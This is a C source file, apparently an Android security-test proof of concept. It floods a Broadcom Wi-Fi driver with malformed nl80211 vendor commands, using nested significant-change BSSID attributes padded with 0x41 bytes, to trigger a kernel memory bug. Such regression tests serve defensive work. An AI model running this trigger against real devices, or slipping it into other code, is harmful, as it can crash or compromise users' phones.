1 /**
2 * Copyright (C) 2017 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #include <stdio.h>
18 #include <stdlib.h>
19 #include <string.h>
20 #include <errno.h>
21 #include <unistd.h>
22 #include <signal.h>
23 #include <sys/types.h>
24 #include <sys/socket.h>
25 #include <linux/netlink.h>
26
27 #include <netlink/netlink.h>
28 #include <netlink/genl/genl.h>
29 #include <netlink/genl/ctrl.h>
30 #include <net/if.h>
31 #include <linux/nl80211.h>
32
33 #define OUI_GOOGLE 0x001A11
34 #define ANDROID_NL80211_SUBCMD_RTT_RANGE_START 0x1100
35 #define F1_32 0x41414141
36 #define WL_CHANSPEC_BW_80 0x2000
37
38 enum wl_vendor_subcmd {
39 BRCM_VENDOR_SCMD_UNSPEC,
40 BRCM_VENDOR_SCMD_PRIV_STR,
41 GSCAN_SUBCMD_GET_CAPABILITIES = 0x1000,
42 GSCAN_SUBCMD_SET_CONFIG,
43 GSCAN_SUBCMD_SET_SCAN_CONFIG,
44 GSCAN_SUBCMD_ENABLE_GSCAN,
45 GSCAN_SUBCMD_GET_SCAN_RESULTS,
46 GSCAN_SUBCMD_SCAN_RESULTS,
47 GSCAN_SUBCMD_SET_HOTLIST,
48 GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
49 GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
50 GSCAN_SUBCMD_GET_CHANNEL_LIST,
51 ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
52 ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
53 ANDR_WIFI_RANDOM_MAC_OUI,
54 ANDR_WIFI_NODFS_CHANNELS,
55 ANDR_WIFI_SET_COUNTRY,
56 GSCAN_SUBCMD_SET_EPNO_SSID,
57 WIFI_SUBCMD_SET_SSID_WHITELIST,
58 WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
59 WIFI_SUBCMD_ENABLE_LAZY_ROAM,
60 WIFI_SUBCMD_SET_BSSID_PREF,
61 WIFI_SUBCMD_SET_BSSID_BLACKLIST,
62 GSCAN_SUBCMD_ANQPO_CONFIG,
63 WIFI_SUBCMD_SET_RSSI_MONITOR,
64 RTT_SUBCMD_SET_CONFIG = 0x1100,
65 RTT_SUBCMD_CANCEL_CONFIG,
66 RTT_SUBCMD_GETCAPABILITY,
67 LSTATS_SUBCMD_GET_INFO = 0x1200,
68 DEBUG_START_LOGGING = 0x1400,
69 DEBUG_TRIGGER_MEM_DUMP,
70 DEBUG_GET_MEM_DUMP,
71 DEBUG_GET_VER,
72 DEBUG_GET_RING_STATUS,
73 DEBUG_GET_RING_DATA,
74 DEBUG_GET_FEATURE,
75 DEBUG_RESET_LOGGING,
76 WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE = 0x1600,
77 WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
78 /* Add more sub commands here */
79 VENDOR_SUBCMD_MAX
80 };
81
82 enum debug_attributes {
83 DEBUG_ATTRIBUTE_GET_DRIVER,
84 DEBUG_ATTRIBUTE_GET_FW,
85 DEBUG_ATTRIBUTE_RING_ID,
86 DEBUG_ATTRIBUTE_RING_NAME,
87 DEBUG_ATTRIBUTE_RING_FLAGS,
88 DEBUG_ATTRIBUTE_LOG_LEVEL,
89 DEBUG_ATTRIBUTE_LOG_TIME_INTVAL,
90 DEBUG_ATTRIBUTE_LOG_MIN_DATA_SIZE,
91 DEBUG_ATTRIBUTE_FW_DUMP_LEN,
92 DEBUG_ATTRIBUTE_FW_DUMP_DATA,
93 DEBUG_ATTRIBUTE_RING_DATA,
94 DEBUG_ATTRIBUTE_RING_STATUS,
95 DEBUG_ATTRIBUTE_RING_NUM
96 };
97
98
99 enum gscan_attributes {
100 GSCAN_ATTRIBUTE_NUM_BUCKETS = 10,
101 GSCAN_ATTRIBUTE_BASE_PERIOD,
102 GSCAN_ATTRIBUTE_BUCKETS_BAND,
103 GSCAN_ATTRIBUTE_BUCKET_ID,
104 GSCAN_ATTRIBUTE_BUCKET_PERIOD,
105 GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS,
106 GSCAN_ATTRIBUTE_BUCKET_CHANNELS,
107 GSCAN_ATTRIBUTE_NUM_AP_PER_SCAN,
108 GSCAN_ATTRIBUTE_REPORT_THRESHOLD,
109 GSCAN_ATTRIBUTE_NUM_SCANS_TO_CACHE,
110 GSCAN_ATTRIBUTE_BAND = GSCAN_ATTRIBUTE_BUCKETS_BAND,
111 GSCAN_ATTRIBUTE_ENABLE_FEATURE = 20,
112 GSCAN_ATTRIBUTE_SCAN_RESULTS_COMPLETE,
113 GSCAN_ATTRIBUTE_FLUSH_FEATURE,
114 GSCAN_ATTRIBUTE_ENABLE_FULL_SCAN_RESULTS,
115 GSCAN_ATTRIBUTE_REPORT_EVENTS,
116 /* remaining reserved for additional attributes */
117 GSCAN_ATTRIBUTE_NUM_OF_RESULTS = 30,
118 GSCAN_ATTRIBUTE_FLUSH_RESULTS,
119 GSCAN_ATTRIBUTE_SCAN_RESULTS, /* flat array of wifi_scan_result */
120 GSCAN_ATTRIBUTE_SCAN_ID, /* indicates scan number */
121 GSCAN_ATTRIBUTE_SCAN_FLAGS, /* indicates if scan was aborted */
122 GSCAN_ATTRIBUTE_AP_FLAGS, /* flags on significant change event */
123 GSCAN_ATTRIBUTE_NUM_CHANNELS,
124 GSCAN_ATTRIBUTE_CHANNEL_LIST,
125 /* remaining reserved for additional attributes */
126 GSCAN_ATTRIBUTE_SSID = 40,
127 GSCAN_ATTRIBUTE_BSSID,
128 GSCAN_ATTRIBUTE_CHANNEL,
129 GSCAN_ATTRIBUTE_RSSI,
130 GSCAN_ATTRIBUTE_TIMESTAMP,
131 GSCAN_ATTRIBUTE_RTT,
132 GSCAN_ATTRIBUTE_RTTSD,
133 /* remaining reserved for additional attributes */
134 GSCAN_ATTRIBUTE_HOTLIST_BSSIDS = 50,
135 GSCAN_ATTRIBUTE_RSSI_LOW,
136 GSCAN_ATTRIBUTE_RSSI_HIGH,
137 GSCAN_ATTRIBUTE_HOSTLIST_BSSID_ELEM,
138 GSCAN_ATTRIBUTE_HOTLIST_FLUSH,
139 /* remaining reserved for additional attributes */
140 GSCAN_ATTRIBUTE_RSSI_SAMPLE_SIZE = 60,
141 GSCAN_ATTRIBUTE_LOST_AP_SAMPLE_SIZE,
142 GSCAN_ATTRIBUTE_MIN_BREACHING,
143 GSCAN_ATTRIBUTE_SIGNIFICANT_CHANGE_BSSIDS,
144 GSCAN_ATTRIBUTE_SIGNIFICANT_CHANGE_FLUSH,
145 /* EPNO */
146 GSCAN_ATTRIBUTE_EPNO_SSID_LIST = 70,
147 GSCAN_ATTRIBUTE_EPNO_SSID,
148 GSCAN_ATTRIBUTE_EPNO_SSID_LEN,
149 GSCAN_ATTRIBUTE_EPNO_RSSI,
150 GSCAN_ATTRIBUTE_EPNO_FLAGS,
151 GSCAN_ATTRIBUTE_EPNO_AUTH,
152 GSCAN_ATTRIBUTE_EPNO_SSID_NUM,
153 GSCAN_ATTRIBUTE_EPNO_FLUSH,
154 /* Roam SSID Whitelist and BSSID pref */
155 GSCAN_ATTRIBUTE_WHITELIST_SSID = 80,
156 GSCAN_ATTRIBUTE_NUM_WL_SSID,
157 GSCAN_ATTRIBUTE_WL_SSID_LEN,
158 GSCAN_ATTRIBUTE_WL_SSID_FLUSH,
159 GSCAN_ATTRIBUTE_WHITELIST_SSID_ELEM,
160 GSCAN_ATTRIBUTE_NUM_BSSID,
161 GSCAN_ATTRIBUTE_BSSID_PREF_LIST,
162 GSCAN_ATTRIBUTE_BSSID_PREF_FLUSH,
163 GSCAN_ATTRIBUTE_BSSID_PREF,
164 GSCAN_ATTRIBUTE_RSSI_MODIFIER,
165 /* Roam cfg */
166 GSCAN_ATTRIBUTE_A_BAND_BOOST_THRESHOLD = 90,
167 GSCAN_ATTRIBUTE_A_BAND_PENALTY_THRESHOLD,
168 GSCAN_ATTRIBUTE_A_BAND_BOOST_FACTOR,
169 GSCAN_ATTRIBUTE_A_BAND_PENALTY_FACTOR,
170 GSCAN_ATTRIBUTE_A_BAND_MAX_BOOST,
171 GSCAN_ATTRIBUTE_LAZY_ROAM_HYSTERESIS,
172 GSCAN_ATTRIBUTE_ALERT_ROAM_RSSI_TRIGGER,
173 GSCAN_ATTRIBUTE_LAZY_ROAM_ENABLE,
174 /* BSSID blacklist */
175 GSCAN_ATTRIBUTE_BSSID_BLACKLIST_FLUSH = 100,
176 GSCAN_ATTRIBUTE_BLACKLIST_BSSID,
177 GSCAN_ATTRIBUTE_ANQPO_HS_LIST = 110,
178 GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE,
179 GSCAN_ATTRIBUTE_ANQPO_HS_NETWORK_ID,
180 GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM,
181 GSCAN_ATTRIBUTE_ANQPO_HS_ROAM_CONSORTIUM_ID,
182 GSCAN_ATTRIBUTE_ANQPO_HS_PLMN,
183 /* Adaptive scan attributes */
184 GSCAN_ATTRIBUTE_BUCKET_STEP_COUNT = 120,
185 GSCAN_ATTRIBUTE_BUCKET_MAX_PERIOD,
186 GSCAN_ATTRIBUTE_MAX
187 };
188
189
190 #define ETHER_ADDR_LEN 6
191 struct __attribute__ ((packed)) _ether_addr {
192 uint8_t octet[ETHER_ADDR_LEN];
193 };
194
195 static int l1;
196 static int l2;
test(struct nl_sock * socket,int d_id,int if_index)197 static void test(struct nl_sock *socket, int d_id, int if_index)
198 {
199 struct nl_msg *msg;
200 struct nl_cb *cb;
201 struct nl_msg *vendor_cmd, *nested_msg;
202 struct nlattr *nl_vendor_cmds, *nested, *nested2, *nested3;
203 int err, i, j = 0, k = 0, ret;
204 struct _ether_addr mac;
205 memset(&mac, 0x41, sizeof(mac));
206
207 // Allocate the messages and callback handler.
208 for (j = l1; j < 1024; j++) {
209 for(k = l2; k < 128; k++) {
210 msg = nlmsg_alloc_size(16384);
211 if (!msg) {
212 exit(EXIT_FAILURE);
213 }
214
215 genlmsg_put(msg, 0, 0, d_id, 0, 0, NL80211_CMD_VENDOR, 0);
216 nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
217 nla_put_u32(msg, NL80211_ATTR_WIPHY, 0);
218 nla_put_u64(msg, NL80211_ATTR_WDEV, 1);
219 nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
220 nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG);
221
222 /* construct the vendor cmd */
223 nl_vendor_cmds = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
224
225 nested = nla_nest_start(msg, GSCAN_ATTRIBUTE_SIGNIFICANT_CHANGE_BSSIDS);
226 for (i = 0; i < j; i++) {
227 nested2 = nla_nest_start(msg, i);
228 nla_nest_end(msg, nested2);
229 }
230 for (i = 0; i < k; i++) {
231 nested2 = nla_nest_start(msg, i);
232 nla_put(msg, GSCAN_ATTRIBUTE_BSSID, sizeof(mac), &mac);
233 nla_put_u8(msg, GSCAN_ATTRIBUTE_RSSI_LOW, 0x41);
234 nla_put_u8(msg, GSCAN_ATTRIBUTE_RSSI_HIGH, 0x41);
235 nla_nest_end(msg, nested2);
236 }
237 nla_nest_end(msg, nested);
238 nla_nest_end(msg, nl_vendor_cmds);
239
240 nl_send_auto_complete(socket, msg);
241 nlmsg_free(msg);
242 }
243 }
244 }
245
main(int argc,char ** argv)246 int main(int argc, char **argv)
247 {
248 int if_index = if_nametoindex("wlan0"); // Use this wireless interface for scanning.
249 l1 = 157;
250 l2 = 0;
251 // Open socket to kernel.
252 struct nl_sock *socket = nl_socket_alloc(); // Allocate new netlink socket in memory.
253 genl_connect(socket); // Create file descriptor and bind socket.
254 int driver_id = genl_ctrl_resolve(socket, "nl80211"); // Find the nl80211 driver ID.
255
256 test(socket, driver_id, if_index);
257 }
258